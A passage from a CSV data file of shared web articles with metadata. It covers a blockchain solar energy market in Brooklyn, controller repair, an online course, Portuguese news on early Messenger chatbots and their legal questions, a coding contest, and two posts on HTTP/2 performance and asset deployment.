and logged on the Ethereum blockchain. Programmable smart contracts are then used to make those units of energy available for sale on the open market. Today, 195 credits were purchased for $0.07 each. As the power grid is typically set up in his neighborhood Frumin was able to off-set his own energy-consumption with a series of solar panels on his rooftop in Brooklyn. But any excess energy he generated has to be sold back to the power company at a wholesale price. Sauchelli told CoinDesk: ""With this arrangement, I'm going to pay him the whole premium, it won't cost me anymore. I'm going to pay him what I'd pay the power company, but he's going to get the whole premium, not just the wholesale rate."" This last point was pivotal to Sauchelli's decision to get involved, he told CoinDesk. While it's important to him to buy green energy, he said the actual purchase should be as easy as if he were buying from the traditional power company or another green alternative. Joseph Lubin, co-founder of TransActive Grid and ConsenSys, elaborated further on this point. ""The electric power industry is decentralizing globally due to cheap photovoltaics and raised consumer and regulator consciousness about the efficiency, brittleness and vulnerability of power delivery,"" he said. ""But still, until now, people have never been able to upload electrons to the grid and sell them to the guy across the street."" Ready to expand Currently, environmentally conscious energy consumers can buy what are called Renewable Energy Certificates from for a premium, that are then used to support the creation of green energy elsewhere around the world. But with TransActive Grid, and another project of the LO3 initiative, Brooklyn Microgrid, that energy - and money - stays local. ""We've got five people in Brooklyn that are producing renewable electrons today and putting them on the grid, on a piece of copper that is connected to a house,"" Orsini told CoinDesk, who added: ""The odds of those electrons making it to a neighbor are far higher that electrons that are produced in Nebraska. In fact, they're not going to make it here from Nebraska."" Image of Transactive Grid box via Michael del Castillo",en
1460746754,CONTENT SHARED,3569727790804487273,801895594717772308,8460091227257577959,,,,HTML,https://www.ifixit.com/Device/DualShock_4,DualShock 4 Repair,"These are some common tools used to work on this device. You might not need every tool for every procedure. Troubleshooting ¶ For more information regarding common troubleshooting problems and solutions, check out DualShock 4 Troubleshooting Background ¶ The Sony Model CUH-ZCT1U Wireless Controller, also known as the Dualshock 4 was released at the end of 2013 to replace the previous six-axis controller. The Dualshock 4 is compatible with the Playstation 4 and Playstation 3. Although compatibility with the Playstation 3 is limited to newer games, the Dualshock 4 will work while it is connected with a USB to Micro B USB cable. The Dualshock 4 also includes several new features such as a headphone jack, a built-in Mono stereo, and a two point touchpad. Additional Information ¶ DualShock 4 Accessories DualShock 4 Wikipedia Page DualShock 4 Manufacturer Specifications DualShock 4 Maunfacturer Troubleshooting",en
1460747075,CONTENT SHARED,-5784228041033890044,3217014177234377440,-3607070907401987200,,,,HTML,https://www.coursera.org/learn/design-thinking-innovation,[E-learning] Design Thinking for Innovation - University of Virginia | Coursera,"About this Course Today innovation is everyone's business. Whether you are a manager in a global corporation, an entrepreneur starting up, in a government role, or a teacher in an elementary school, everyone is expected to get lean - to do better with less. And that is why we all need design thinking. At every level in every kind of organization, design thinking provides the tools you need to become an innovative thinker and uncover creative opportunities that are there - you're just not seeing them yet. In this course, we provide an overview of design thinking and work with a model containing four key questions and several tools to help you understand design thinking as a problem solving approach. We also look at several stories from different organizations that used design thinking to uncover compelling solutions. 5 weeks of study, 1-2 hours/week",en
1460752877,CONTENT SHARED,-7447329442374055391,-48161796606086482,-179640091356786206,,,,HTML,http://www.mobiletime.com.br/14/04/2016/chatbots-vao-diminuir-a-forca-de-apple-e-google/437842/news.aspx,MOBILE TIME - Chatbots vão diminuir a força de Apple e Google,"Chatbots vão diminuir a força de Apple e Google A era dos bots está começando. Embora o assunto seja discutido há alguns anos entre geeks e empreendedores do meio de tecnologia, todos concordam que o lançamento esta semana da API do Facebook para bots no Messenger marca o verdadeiro começo de um jogo que vai mexer com o equilíbrio de forças no mundo digital. Muito do que hoje é feito com apps passará a ser realizado com bots. Vários desenvolvedores desencantados com os apps móveis começam a olhar com interesse para os bots. Para entender melhor essa novidade, MOBILE TIME publica a partir de hoje uma série de matérias sobre chatbots, ou robôs para comunicadores instantâneos. Nesta primeira, entrevistamos Michael Vakulenko, diretor de estratégia da VisionMobile, empresa de pesquisas que realiza todo trimestre um levantamento mundial com mais de 20 mil desenvolvedores móveis e que incluirá o tema ""bots"" em sua próxima edição. Vakulenko é um entusiasta do assunto, mas reconhece que é difícil adivinhar o que vai ocorrer: ""Tal como aconteceu com apps, essa experimentação levará a serviços que não conseguimos imaginar agora. Quem poderia prever o nascimento do Instagram, do Uber e do Snapchat em 2007, quando o iPhone foi lançado?"" Sua única certeza é de que Apple e Google estão atrasados nessa área e vão perder força para quem hoje controla os comunicadores instantâneos mais populares. MOBILE TIME - Que tipo de serviços ou marcas você acredita que serão os primeiros a adotar chatbots? Por quê? Michael Vakulenko - Eu acredito que a adoção vai começar por companhias que queiram substituir o atendimento telefônico de 0800 por algo que seja mais interativo, moderno e eficiente. É nisso que o Facebook espera focar inicialmente. Atendimento por 0800 custa caro para operar. E, ao mesmo tempo, oferece um serviço dos anos 90. Várias start-ups começaram a experimentar bots em mensagens, buscando algo que fosse ""matador"". Vai levar algum tempo para a indústria aprender o que funciona e o que não funciona com bots. Tal como aconteceu com apps, essa experimentação levará a serviços que não conseguimos imaginar agora. Quem poderia prever o nascimento do Instagram, do Uber e do Snapchat em 2007, quando o iPhone foi lançado? Os chatbots vão substituir os apps? Não acredito nisso, mas haverá menos apps. Os aplicativos que atendem a um uso frequente ou a um consumo passivo de conteúdo vão continuar existindo. Esses são exemplos em que se justifica para o usuário baixar um novo app, aprender a mexer nele e torná-lo um hábito. Já as utilizações ocasionais vão migrar para as plataformas de mensagens, onde é muito mais fácil gerar engajamento a um serviço, pois o consumidor não precisa instalar um app e aprender a usá-lo. Haverá um ecossistema de desenvolvedores de chatbots? A VisionMobile planeja incluir esse segmento em edições futuras das suas pesquisas sobre o mercado mundial de desenvolvedores? Claro! Plataformas de mensagens vão nascer e morrer dependendo da adoção dos desenvolvedores, da mesma forma como aconteceu com os apps móveis. As plataformas de mensagens que construírem um ecossistema próspero de desenvolvedores sairão vitoriosas. Nós já constatamos que desenvolvedores que se desencantaram com apps móveis estão migrando seu foco para chatbots na esperança de conquistarem a vantagem de serem pioneiros nesse novo ecossistema. A VisionMobile já começou um estudo sobre desenvolvedores de chatbots para a 11ª edição da nossa pesquisa sobre o mercado de desenvolvedores e que será publicada dentro de alguns dias. Que modelos de negócios são esperados nesse mercado? Como os apps de comunicação instantânea vão gerar receita com chatbots? As plataformas de mensagens terão múltiplos caminhos para fazer dinheiro direta e indiretamente. Será tudo baseado em conectar usuários de mensageria com empresas (marcas, start-ups, serviços on-line). Haverá milhares de robôs de mensagens competindo pela atenção do usuário. O Facebook, por exemplo, poderia monetizar promovendo bots específicos para a audiência mais apropriada. Não é muito diferente do que o Facebook já faz para gerar dinheiro com a instalação de aplicativos móveis. Que app de mensagens vai liderar essa tendência? O Facebook, com o seu Messenger e com o WhatsApp, é claramente o líder global. Mas haverá também líderes regionais em áreas onde a dupla Messenger/WhatsApp não atingiu massa crítica. WeChat/Weixin é intocável na China. Por sua vez, Line e KakaoTalk são muito populares em alguns países. Kik e Snapchat têm sucesso com uma audiência jovem que não está no Facebook. A onda de chatbots reduz o poder de Google e Apple, já que suas lojas de aplicativos tendem a perder importância? Com certeza. O mercado de apps móveis está maduro e a indústria de tecnologia procura pela próxima grande novidade depois de apps. Tanto Google quanto Apple parecem ter perdido essa oportunidade até o momento. O Hangouts do Google falhou em adoção. E o iMessage da Apple permanece fechado. Será interessante acompanhar se e quando a Apple vai abrir o iMessage para desenvolvedores de fora. Haverá lojas de bots? Já existem lojas de chatbots do Slack e do Kik, inspiradas nas lojas de apps atuais. Acredito que o problema de se encontrar o conteúdo desejado será resolvido de forma diferente no ecossistema de chatbots, pois veremos formas mais nativas de se descobrir e ativar serviços automatizados em comunicadores instantâneos. Michael Vakulenko, diretor de estratégia da VisionMobile --------------------------------- O CEO da VisionMobile, Andreas Constantinou, será o palestrante principal do 15º Tela Viva Móvel . Ele fará a abertura do evento, no dia 3 de maio, no WTC, em São Paulo, apresentando alguns números sobre o mercado latino-americano de desenvolvimento móvel coletados em sua mais recente pesquisa. O Tela Viva Móvel, consagrado como o mais importante do mercado brasileiro de conteúdo móvel, terá ainda painéis sobre gestão de marketplaces; migração de SVA 1.0 para 2.0; privacidade X segurança em mobilidade; e investimento chinês no mercado móvel brasileiro, dentre outros. O Tela Viva Móvel é organizado pela Converge Comunicações e promovido por MOBILE TIME e TELETIME. A grade do evento e informações sobre inscrições podem ser encontradas no site do congresso ou pelos telefones 0800-77-15028 e 11-3138-4619. Inscrições até 20 de abril contam com 15% de desconto.",pt
1460753032,CONTENT SHARED,6090089162789916215,-48161796606086482,-179640091356786206,,,,HTML,http://gizmodo.uol.com.br/teste-chatbots-facebook-messenger/,O início problemático dos chatbots no Facebook Messenger,"O Facebook anunciou esta semana que o Messenger ganhou chatbots . Você só pode interagir com alguns, e encontrá-los não é tão fácil quanto deveria. Após localizar e testar alguns deles, eu percebi como é complicado conversar com estes robôs-assistentes. >>> Facebook Messenger passará a ter chatbots para interagir com usuários >>> Microsoft quer deixar todos os apps mais espertos com inteligência artificial O problema é que a maioria dos chatbots no Messenger conversam de maneira estranha, pontuada por momentos frustrantes de silêncio. Eu passei mais tempo tentando adivinhar os comandos que esses bots podiam entender do que realmente falando com eles. Mark Zuckerberg e outros prometeram conversas elaboradas com um software sofisticado por trás. Em vez disso, descobri que meus chats estavam limitados por perguntas pré-determinadas. Pedindo informações Os bots do Messenger basicamente se dividem em duas categorias: aqueles que trazem informações, e aqueles que permitem fazer compras. Tome como exemplo o Hi Poncho , um gato que informa a previsão do tempo. Ele é interessante por ser o único chatbot neste lote inicial que pelo menos tenta ter uma personalidade. Ele é uma graça, mas se o objetivo é substituir o seu app de previsão do tempo com um chatbot, o Poncho nem chega perto. Eu mudei algumas configurações para dar ao Hi Poncho minha localização, detalhes das minhas alergias, além de permiti-lo enviar previsões do tempo diariamente. O bot me disse que faz 8°C em Brooklyn... e então as coisas começaram a degringolar. Não há previsão do tempo para este fim de semana, aparentemente: O Poncho funciona com uma frase específica: ""Preciso de [item]?"" Como você pode ver nas imagens acima, eu tentei me referir a frases anteriores do chat - como uma conversa normal - mas isso não funcionou. Cada conversa com o Poncho existe num vácuo, e fica presa em um vai-e-vem robótico, mesmo que o bot tente disfarçar isso com GIFs engraçados e referências de cultura pop. Sam Mendel, CEO da Poncho, diz que encontrou problemas imprevistos em menos de 24 horas após o lançamento do bot. E ele concorda que o Poncho tem muitas habilidades de linguagem para aprender. ""Nós precisamos adicionar processamento de linguagem mais natural, e é nisso que estamos trabalhando agora"", disse Mendel ao Gizmodo. ""Afinal, a tolerância para um bot medíocre é muito menor do que para um app medíocre."" Isso não quer dizer que chatbots meteorológicos estão condenados para sempre. O Kik, que abriu uma loja de bots na semana passada, estreou com um bot do Weather Channel. Embora não tenha uma personalidade, ele oferece ótimos atalhos para coisas como previsões de múltiplos dias. Ele funciona, e funciona bem. Mas, mesmo com todos os seus sucessos, em comparação com apps excelentes como o Dark Sky, ele não chega nem perto de fornecer o mesmo nível de informação. Bots de notícias, como CNN e Wall Street Journal, têm o mesmo problema, oferecendo apenas uma pequena fração de todo o conteúdo que está disponível no app. Bot latency is weird - you're not a person, why does it take 5 mins to respond? Also, why have 'typing' bubbles? pic.twitter.com/rPRiIwuQ1o - megan quinn (@msquinn) April 12, 2016 Comprando com bots Os bots que trazem informações são atualmente uma bagunça. E quanto aos bots de comércio? Este foi um dos destaques na apresentação de Zuckerberg, dizendo o quanto ele odeia ligar para empresas ou serviços ao cliente (o que duvido que ele faça, mas enfim). Eu usei o 1-800-Flowers para descobrir como uma compra via mensagens de texto poderia funcionar. De forma semelhante aos bots de notícias, o bot do 1-800-Flowers oferece apenas meia dúzia de escolhas para arranjos florais, enquanto o site mostra muito mais. Ao gastar dinheiro em algo, você deve obter exatamente o que quer, não uma lista selecionada de apenas seis opções. Mesmo depois de passar por todo o processo de compra, você ainda é deixado sem esclarecimentos no Messenger. A compra foi finalizada? O bot não avisa. Eu recebi um e-mail de confirmação cinco horas depois , mas nessa altura, eu já tinha verificado meus extratos bancários on-line para ver se o pedido foi realizado. Isso não é o futuro da compra. Na semana passada, quando eu perguntei a desenvolvedores sobre o esforço de chatbots do Facebook, a maioria deles disse a mesma coisa: a linguagem humana é complicada de se decifrar. Ben Brown, um desenvolvedor que cria bots para o Slack e que fez uma plataforma para criar bots, destaca a complexidade quase interminável de fazer robôs conversarem. ""Se as pessoas acham que estão falando com outra pessoa, elas ficam mais propensas a serem casuais ou naturais"", diz Brown. ""Isso torna dramaticamente mais difícil o problema de receber essa informação."" Imagino que a maioria das pessoas provavelmente vai experimentar esses bots e decidir que não valem a pena o aborrecimento. Os chatbots me deixaram com a mesma impressão de que é mais fácil obter a previsão do tempo ou enviar flores da maneira ""antiga"", com apps. Eles vão melhorar, é claro, mas isso deve demorar.",pt
1460753069,CONTENT SHARED,3470393457385461859,-48161796606086482,-179640091356786206,,,,HTML,http://www.mobiletime.com.br/15/04/2016/era-dos-bots-abre-inumeras-questoes-de-ordem-juridica/437862/news.aspx,MOBILE TIME - Era dos bots abre inúmeras questões de ordem jurídica,"Era dos bots abre inúmeras questões de ordem jurídica Toda vez que surge uma tecnologia disruptiva ela traz consigo uma série de questões de ordem jurídica. Está sendo assim com os carros autônomos e com os drones. E será assim com os robôs com inteligência artificial, a começar pelos chatbots, que passarão a povoar as plataformas de comunicação instantânea daqui em diante - Telegram, Slack, Skype e Facebook já abriram suas portas para eles e muito em breve estaremos todos adicionando bots em nossas listas de contatos. ""Se o bot falar ou fizer uma besteira, quem é o culpado? Ele ou o dono dele? Até os anos 20, as empresas não tinham personalidade jurídica. A responsabilidade era das pessoas. Não se processava uma empresa, mas o dono dela. Será que não é o caso de atribuir personalidade jurídica a robôs com inteligência artificial? Neste caso, seria possível processar o robô, tal como faz hoje com uma empresa"", reflete Rafael Pellon, sócio do escritório de advocacia FAS Advogados e um especialista em direito digital. ""A diferença é que uma empresa não tem moral, nem personalidade. Um robô com inteligência artificial talvez tenha. São questões filosóficas que precisam ser discutidas"", complementa. É preciso definir como proceder juridicamente quando os chatbots cometerem erros. Afinal, por mais inteligentes que sejam, erros vão acontecer. E se o bot comprar o produto errado? E se te mandar para o aeroporto no horário errado e você perder seu voo? E mais complicado ainda: como o bot deve reagir diante de comandos que ferem a lei? Um exemplo: se o consumidor pedir um táxi para o bot de chamada de táxi mas exigir que seja um motorista branco? Se o robô atender a esse pedido estaria sendo racista. Mas, em caso de denúncia, quem seria processado? O consumidor ou o bot ou o criador do bot ou todos? Tendências Pellon acredita que os chatbots vão substituir em um primeiro momento serviços básicos que requerem comandos simples, como previsão do tempo, comparação de preços de produtos ou chamada de táxi. ""Em vez de discutirem entre fazer um app ou um site móvel, as pessoas vão discutir se é melhor fazer um app, um site móvel ou um bot. E vão descobrir que para alguns serviços é melhor app e para outros é melhor um bot"", prevê o advogado. Ele lembra que os bots têm a vantagem de terem um custo de desenvolvimento mais barato que apps e de serem transmídia, ou seja, de funcionarem em qualquer meio. Pellon acredita que mais cedo ou mais tarde, além das lojas de bots, surgirão agregadores de bots. Ou seja, um bot que conversa com outros bots do mesmo serviço. Por exemplo: além de existirem bots separados do Easy Taxi e do 99Taxis ou de qualquer outro serviço de chamada de táxi, poderá existir um bot que converse com todos eles em favor do usuário. Esta é a segunda matéria de uma série sobre bots que Mobile Time está publicando diariamente, desde que o Facebook abriu uma API para a construção de chatbots para o Messenger. Veja nos links abaixo a primeira matéria e acompanhe as próximas que virão na semana que vem.",pt
1460762872,CONTENT SHARED,-8464215556093549753,-5527145562136413747,-5846772333341301796,,,,HTML,https://www.hackerrank.com/womens-codesprint,HackerRank Women's CodeSprint 2016,"Join Women's CodeSprint to prove your coding skills by solving 8 algorithmic CodeChallenges, win $15,000 in prizes and get discovered by companies. Beginning Friday, April 22, 2016 at 9am PST, women from around the world will have 24 hours to code like a girl. The advice I would give to women who code is to try things even if you don't think you are the best at it. Have unabashed confidence about trying something new and putting yourself out there, even if you may fail. Like the saying goes, it is better to try and fail than to never try at all. There is still a lot to learn from failure! Compete for $15,000 in prizes. Top 100 coders will win. Rank 1 - 100 #codelikeagirl T-shirts Rules Women's CodeSprint is an online code competition open to women worldwide. Prizes are limited to women only This is an individual participation contest. Any case of code plagiarism will result in disqualification. Code directly from our platform, which supports over 30 languages. Learn more here. Winners from US and India will receive Amazon Gift Cards. Winners from other countries will receive equivalent USD amount in bitcoins. Please expect up to 8 weeks post competition to receive your prize. Residences of the following countries and territories are not eligible to win prizes due to legal restrictions: Antarctica, Afghanistan, Cote D'ivoire, Cuba, Belarus, Bouvet Island, British Indian Ocean Territory, Cameroon, Central African Republic, Christmas Island, Equatorial Guinea, Haiti, Heard Island and Mcdonald Islands, Iran, Islamic Republic of Iraq, Democratic People's Republic of Korea (North Korea), Lao People's Democratic Republic (Laos), Lebanon, Liberia, Libyan Arab Jamahiriya, Myanmar, Nigeria, Pakistan, Papua New Guinea, Serbia and Montenegro, Sudan, Syrian Arab Republic, Zimbabwe.",en
1460854706,CONTENT SHARED,5379671084978512851,-8020832670974472349,1759315806103391579,,,,VIDEO,http://www.ted.com/talks/linus_torvalds_the_mind_behind_linux,Linus Torvalds: The mind behind Linux,"Linus Torvalds transformed technology twice -- first with the Linux kernel, which helps power the Internet, and again with Git, the source code management system used by developers worldwide. In a rare interview with TED Curator Chris Anderson, Torvalds discusses with remarkable openness the personality traits that prompted his unique philosophy of work, engineering and life.",en
1460855617,CONTENT SHARED,-8858741052589364245,-8020832670974472349,1759315806103391579,,,,HTML,https://blog.newrelic.com/2016/02/09/http2-best-practices-web-performance/,How HTTP/2 is Changing Web Performance Best Practices,"This post is part one of a two-part series detailing HTTP/2 best practices. Part two- Implementing HTTP/2 in Production Environments -covers what's required to implement and debug HTTP/2-capable Web applications in production environments. The Hypertext Transfer Protocol (HTTP) underpins the World Wide Web and cyberspace. If that sounds dated, consider that the version of the protocol most commonly in use, HTTP 1.1, is nearly 20 years old. When it was ratified back in 1997 , floppy drives and modems were must-have digital accessories and Java was a new, up-and-coming programming language. Ratified in May 2015, HTTP/2 was created to address some significant performance problems with HTTP 1.1 in the modern Web era. Adoption of HTTP/2 has increased in the past year as browsers, Web servers, commercial proxies, and major content delivery networks have committed to or released support. Unfortunately for people who write code for the Web, transitioning to HTTP/2 isn't always straightforward and a speed boost isn't automatically guaranteed. The new protocol challenges some common wisdom when building performant Web applications and many existing tools-such as debugging proxies-don't support it yet. This post is an introduction to HTTP/2 and how it changes Web performance best practices. Binary frames: The 'fundamental unit' of HTTP/2 One benefit of HTTP 1.1 (over non-secure connections, at least) is that it supports interaction with Web servers using text in a telnet session on port 80: typing GET / HTTP/1.1 returns an HTML document on most Web servers. Because it's a text protocol, debugging is relatively straightforward. Instead of text, requests and responses in HTTP/2 are represented by a stream of binary frames, described as a ""basic protocol unit"" in the HTTP/2 RFC . Each frame has a type that serves a different purpose. The authors of HTTP/2 realized that HTTP 1.1 will exist indefinitely (the Gopher protocol still is out there, after all). The binary frames of an HTTP/2 request map to an HTTP 1.1 request to ensure backwards compatibility. There are some new features in HTTP/2 that don't map to HTTP 1.1, however. Server push (also known as ""cache push"") and stream reset are features that correspond to types of binary frames. Frames can also have a priority that allows clients to give servers hints about the priority of some assets over others. Other than using Wireshark 2.0 , one of the easiest ways to actually see the individual binary frames is by using the net-internals tab of Google Chrome (type chrome://net-internals/#http2 into the address bar). The data can be hard to understand for large Web pages. Rebecca Murphey helpfully wrote a useful tool for displaying it visually in the command line. Additionally, the protocol used to fetch assets can be displayed in the Chrome Web developer tools-right click on the column header and select ""Protocol"": All of the HTTP/2 requests in this listing use a secure connection over Transport Layer Security (TLS). All major browsers require HTTP/2 connections to be secure. This is done for a practical reason: an extension of TLS called Application-Layer Protocol Negotiation (ALPN) lets servers know the browser supports HTTP/2 (among other protocols) and avoids an additional round-trip. This also helps services that don't understand HTTP/2, such as proxies-they see only encrypted data over the wire. Reducing latency with multiplexing A key performance problem with HTTP 1.1 is latency, or the time it takes to make a request and receive a response. This issue has become more pronounced as the number of images and amount of JavaScript and CSS on a typical Web page continue to increase . Every time an asset is fetched, a new TCP connection is generally needed. This requirement is important for two reasons: the number of simultaneous open TCP connections per host is limited by browsers and there's a performance penalty incurred when establishing new connections. If a physical Web server is far away from users (for example, a user in Singapore requesting a page hosted at a data center on the U.S. East Coast), latency also increases. This scenario is not uncommon- one recent report says that more than 70% of global Internet traffic passes through the unmarked data centers of Northern Virginia. HTTP 1.1 offers different workarounds for latency issues, including pipelining and the Keep-Alive header. However, pipelining was never widely implemented and the Keep-Alive header suffered from head-of-line blocking: the current request must complete before the next one can be sent. In HTTP/2, multiple asset requests can reuse a single TCP connection. Unlike HTTP 1.1 requests that use the Keep-Alive header, the requests and response binary frames in HTTP/2 are interleaved and head-of-line blocking does not happen. The cost of establishing a connection (the well-known ""three-way handshake"") has to happen only once per host. Multiplexing is especially beneficial for secure connections because of the performance cost involved with multiple TLS negotiations. Implications for Web performance: goodbye inlining, concatenation, and image sprites? HTTP/2 multiplexing has broad implications for frontend Web developers. It removes the need for several long-standing workarounds that aim to reduce the number of connections by bundling related assets, including: Concatenating JavaScript and CSS files: Combining smaller files into a larger file to reduce the total number of requests. Image spriting: Combining multiple small images into one larger image. Domain sharding: Spreading requests for static assets across several domains to increase the total number of open TCP connections allowed by the browser. Inlining assets: Bundling assets with the HTML document source, including base-64 encoding images or writing JavaScript code directly inside <script> tags. With unbundled assets, there is greater opportunity to aggressively cache smaller pieces of a Web application. It's easiest to explain this with an example: A common concatenation pattern has been to bundle stylesheet files for different pages in an application into a single CSS file to reduce the number of asset requests. This large file is then fingerprinted with an MD5 hash of its contents in the filename so it can be aggressively cached by browsers. Unfortunately, this approach means that a very small change to the visual layout of the site, like changing the font style for a header, requires the entire concatenated file to be downloaded again. When smaller asset files are fingerprinted, significant amounts of JavaScript and CSS components that don't change frequently can be cached by browsers-a small refactor of a single function no longer invalidates a massive amount of JavaScript application code or CSS. Lastly, deprecating concatenation can reduce frontend build infrastructure complexity. Instead of having several pre-build steps that concatenate assets, they can be included directly in the HTML document as smaller files. Potential downsides of using HTTP/2 in the real world Optimizing only for HTTP/2 clients potentially penalizes browsers that don't yet support it. Older browsers still prefer bundled assets to reduce the number of connections. As of February 2016, caniuse.com reports global browser support of HTTP/2 at 71% . Much like dropping Internet Explorer 8.0 support, the decision to adopt HTTP/2 or go with a hybrid approach must be made using relevant data on a per-site basis. As described in a post by Kahn Academy Engineering that analyzed HTTP/2 traffic on its site, unbundling a large number of assets can actually increase the total number of bytes transferred. With zlib , compressing a single large file is more efficient than compressing many small files. The effect can be significant on an HTTP/2 site that has unbundled hundreds of assets. Using HTTP/2 in browsers also requires assets to be delivered over TLS. Setting up TLS certificates can be cumbersome for the uninitiated. Fortunately, open source projects such as Let's Encrypt are working on making certificate registration more accessible. A work in progress Most users don't care what application protocol your site uses-they just want it to be fast and work as expected. Although HTTP/2 has been officially ratified for almost a year, developers are still learning best practices when building faster websites on top of it. The benefits of switching to HTTP/2 depend largely on the makeup of the particular website and what percentage of its users have modern browsers. Moreover, debugging the new protocol is challenging and easy-to-use developers tools are still under construction. Despite these challenges, HTTP/2 adoption is growing. According to researchers scanning popular Web properties, the number of top sites that use HTTP/2 is increasing , especially after CloudFlare and WordPress announced their support in late 2015. When considering a switch, it's important to carefully measure and monitor asset- and page-load time in a variety of environments. As vendors and Web professionals educate themselves on the implications of this massive change, making decisions from real user data is critical. In the midst of a website obesity crisis , now is a great time to cut down on the total number of assets regardless of the protocol. In Part 2 of this series on HTTP/2, we'll focus on practical implementation details of HTTP/2 and how to enable it on your server and debug real traffic. Additional resources Be sure to read part two of this two-part series: Implementing HTTP/2 in Production Environments Jeff Martens Background image courtesy of Shutterstock.com . , Product Manager for New Relic Browser , and Web performance expert Andy Davies contributed to this post with technical feedback and invaluable suggestions.",en
1460855846,CONTENT SHARED,8233465999590288609,-8020832670974472349,1759315806103391579,,,,HTML,http://rmurphey.com/blog/2015/11/25/building-for-http2,Building for HTTP/2,"Earlier this year, I got the chance to speak with Google's Ilya Grigorik about HTTP/2 for the 1.10 episode of the TTL Podcast . It was a great primer for me on how HTTP/2 works and what it means for how we build the web, but it wasn't until more recently that I started to think about what it means for how we build the web - that is, how we generate and deploy the HTML, CSS, and JS that power web applications. If you're not familiar with HTTP/2 , the basics are simultaneously simple and mind-boggling. Whereas its predecessors allowed each connection to a server to serve only one request at a time, HTTP/2 allows a connection to serve multiple requests simultaneously. A connection can also be used for a server to push a resource to a client - a protocol-level replacement for the technique we currently call ""inlining."" This is everything-you-thought-you-knew-is-wrong kind of stuff. In an HTTP/2 world, there are few benefits to concatenating a bunch of JS files together, and in many cases the practice will be actively harmful. Domain sharding becomes an anti-pattern. Throwing a bunch of <script> tags in your HTML is suddenly not a laughably terrible idea. Inlining of resources is a thing of the past. Browser caching - and cache busting - can occur on a per-module basis. What does this mean for how we build and deploy applications? Let's start by looking at the state of the art in client-side application deployment prior to HTTP/2. Deploying JavaScript Applications (2013) In March of 2013, Alex Sexton wrote Deploying JavaScript Applications , and it's what I consider to be the canonical post on the topic for sites and apps that include more than about 50K of client-side code. In his post, Alex describes a deployment that uses a ""scout"" approach: a small bit of code, included directly in the HTML or loaded via <script> tag. The scout file exists to balance the desire for application resources to be highly cacheable vs. the need for changes to those resources to take effect quickly. To meet that goal, the scout needs a short cache time when it's a file; if the scout is in the HTML, then the HTML itself needs a short cache time. The scout contains information about the location of the file(s) that provide the current version of the application, and the code necessary to load those files. Files loaded by the scout can have extremely long cache times because the scout loads resources from versioned URLs: when a resource is updated, it is hosted at a new URL, and the scout is updated to load the resource from that new URL. Why a scout approach rather than just loading the versioned files using <script> tags directly from the HTML? The scout technique lets you deploy changes to your JavaScript application without requiring a re-deploy of the server-side application. (In an ideal world this might not seem valuable, but in the real world, it often is.) When the scout is served separately from the HTML, it also allows for a different caching strategy for the HTML. In this system, it's typical that the scout would load one or two JavaScript files that were generated by combining the modules needed for the initial state of the application. More code might be loaded later to support additional application behavior; again, that code would typically comprise a set of modules shipped in a single file. There are a few shortcomings inherent to this approach, which are difficult to overcome without upsetting the balance between cacheability and changeability: Shipping the application as a large file with a long cache time works great for repeat visitors, but not so well for first-timers who have to wait for the large file to load. All users have to download the whole large file again whenever something changes - even something small. Even when nothing changes, a short cache time means repeat visitors may end up re-downloading the scout frequently. Adding HTTP/2 to the mix - that is, flipping the switch that gets your server to start speaking HTTP/2 to browsers that understand it - has a nominal positive impact on the performance of an app crafted for maximum performance on HTTP/1. Indeed, the applications most likely to see big improvements without big changes are applications whose deployments were poorly designed in the first place. To see performance gains in a well-engineered deployment, we'll have to re-engineer the deployment itself. Splitting it up One of the most obvious opportunities is presented by HTTP/2's ability to handle multiple requests over the same connection. Rather than shipping a single large application file over the wire, what if we tell the scout to load the individual modules that make up the application? We would no longer have to invalidate the cache for the whole application every time we make a change. A few reasons come to mind why this might be a bad idea. The first is the concern that compression might suffer if shipping modules individually. As it turns out, though, combining multiple modules into a single file results in only slightly better compression than if the modules are compressed individually. For example, compressing a file containing minified versions of jQuery, Underscore, and Backbone results in 42,186-byte file; compressing each minified file individually results in a combined size of 42,975 bytes. The difference is 789 bytes -- barely meaningful. Other second concern may be more legitimate: our server or CDN may be unhappy about serving one request per module; and it may be unduly complex to ship a single module per file, especially since any given request might fail for whatever reason. For the sake of discussion, we'll assume that it's reasonable to do some grouping of modules into individual files. How to group those modules is up for debate. One strategy could be to group files according to their likelihood of changing, recognizing that library and framework modules don't change often, while application modules do. Another strategy would be to group files associated with a unit of useful functionality, though this leaves us needing a way to deliver code that's shared across units of functionality. At Bazaarvoice, we solve this concern via a lightweight require/define system that ships in the scout file, allowing us to share vendor files such as jQuery and Backbone across applications. An application can express a dependency on a vendor file using NAMESPACE.require() , and vendor files declare themselves using NAMESPACE.define() . Once a vendor file has been defined, other modules on the page have access to it immediately via NAMESPACE.require() . Versioning For HTTP/1.1-friendly builds, we always increment the version of the built application file, and embed a URL pointing to that new version in the scout file. We do this because it is essentially guaranteed that the contents of the application file have changed whenever we do a new build -- otherwise there would be no reason for the build. For HTTP/2-friendly builds, we're generating many smaller files; we only want to increment their version when something has changed. For example, imagine a build that generates vendor-v1.js and application-v1.js; it also generates a scout that loads these two files. We then make a change to an application file, and we do another build, creating vendor-v2.js and application-v2.js. However, no vendor files have changed; our scout should now load to application-v2.js but still load vendor-v1.js. If our scout points to vendor-v2.js, we lose the benefit of being able to cache smaller pieces of our code. This can be solved by using hashes of the file contents rather than version numbers: vendor-d41d8cd98f.js. If a file has not changed, its hash will remain the same. (Notably, inconsequential changes will change the hash -- for example, a new copyright comment that is inserted post-minification.) Plenty of build strategies already use content hashes for versioning; however, many still use integers, dates, or commit hashes, which change even when the contents of a file have not. Given files whose names include a hash, our scout can include a manifest that prescribes the file to load for a given resource. The manifest would be generated by the build after all of the resources were generated. module.exports = { baseUrl : ' resources : { vendor : 'vendor-d41d8cd98f.js', application : 'application-a32e3ec23d.js' } }; Push: Because you downloaded scout.js, you might also like ... Another exciting opportunity in an HTTP/2 world is the ability to push a cascade of resources. The first push opportunity is the scout itself: for sites and applications that currently ship the scout inlined in the initial HTML payload, server push affords an opportunity to send the scout as a separate resource when the initial HTML is requested. There's an interesting dilemma here: If the browser already has the resource cached, and the cache is still valid, it doesn't need the server to push the resource. Currently, though, there's no way for the browser to communicate its cache contents to the server. A browser can decline a push, but the server may have already started to send it . We've basically introduced a new tradeoff: server push can get the resource to the browser quickly, but we waste bandwidth if the browser doesn't need it. As discussed at the link above, a smart server could use session information to determine when to push -- for example, if the page is reloaded within a resource's cache time, there is no need to re-push that resource to the same session -- but this makes push state-dependent, a frightening prospect if we hope to use CDNs to ensure efficient asset delivery. Assuming we've generated a manifest as described above, we have the option of going a step further: we can separate the manifest and the scout, allowing the scout to have a far longer cache time than in a pre-HTTP/2 world. This is possible because the 